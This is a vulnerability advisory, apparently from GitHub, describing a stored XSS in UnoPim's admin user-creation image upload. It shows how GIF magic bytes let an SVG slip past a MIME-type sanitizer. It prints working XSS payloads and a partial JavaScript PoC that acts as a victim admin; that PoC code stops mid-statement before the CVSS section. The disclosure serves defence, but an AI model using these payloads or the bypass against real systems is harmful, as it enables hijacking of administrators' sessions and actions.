Description

UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality

Summary

Affected Functionality: User creation

Endpoint: /admin/settings/users/create

Details

https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19

See the mimetype is checked for validation.

Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes

for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing <svg> is considered as svg and is sanitized:

```

Content-Disposition: form-data; name="image[]"; filename="poc.html"

Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">

<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>

<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>

</svg>

```

Sanitization bypass using MIME type manipulation:

```

Content-Disposition: form-data; name="image[]"; filename="poc.html"

Content-Type: image/svg+xml

GIF89a

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)">

<rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect>

<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>

</svg>

```

PoC

Upload POC.html as image.

File content:

```

GIF89a

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)">

<rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect>

<text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text>

</svg>

```

I changed extension to .html because even though POC.svg successfully bypassed the sanitization.

When accessing the URL, the page didn't render as it should starts with <.

![image](https://github.com/user-attachments/assets/fb428dd8-44a1-4701-a4f5-1058afd0997a)

![image](https://github.com/user-attachments/assets/03d6f082-66af-4fad-b6a9-e19fc1cb73dc)

Since html doesn't have any such limitation we can access it.

Access the image URL to see the XSS popup.

Impact

Suppose another admin visits the image link, the attacker can perform any operation as the victim.

The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim )

Example

> create a product behalf of victim.

John doe (default admin ) creates another admin ( [email protected] )

When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created.

![image](https://github.com/user-attachments/assets/d7b25732-b05d-445c-9df0-09e8bdc62cfd)

![image](https://github.com/user-attachments/assets/c61086cd-6335-4c56-838f-9df88574de13)

// info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link.

Please see the detailed POC video for more details:

Extended POC for performing the action shown in video:

POC.html:

```

<html>

<script>

const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data

const formData = new FormData();

formData.append('type', 'simple');

formData.append('attribute_family_id', '1');

formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers

const headers = {

'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=',

'Accept': 'application/json, text/plain, */*',

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.
